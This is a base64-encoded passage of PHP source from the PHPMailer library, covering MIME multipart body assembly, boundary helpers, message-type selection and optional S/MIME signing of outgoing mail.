aXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4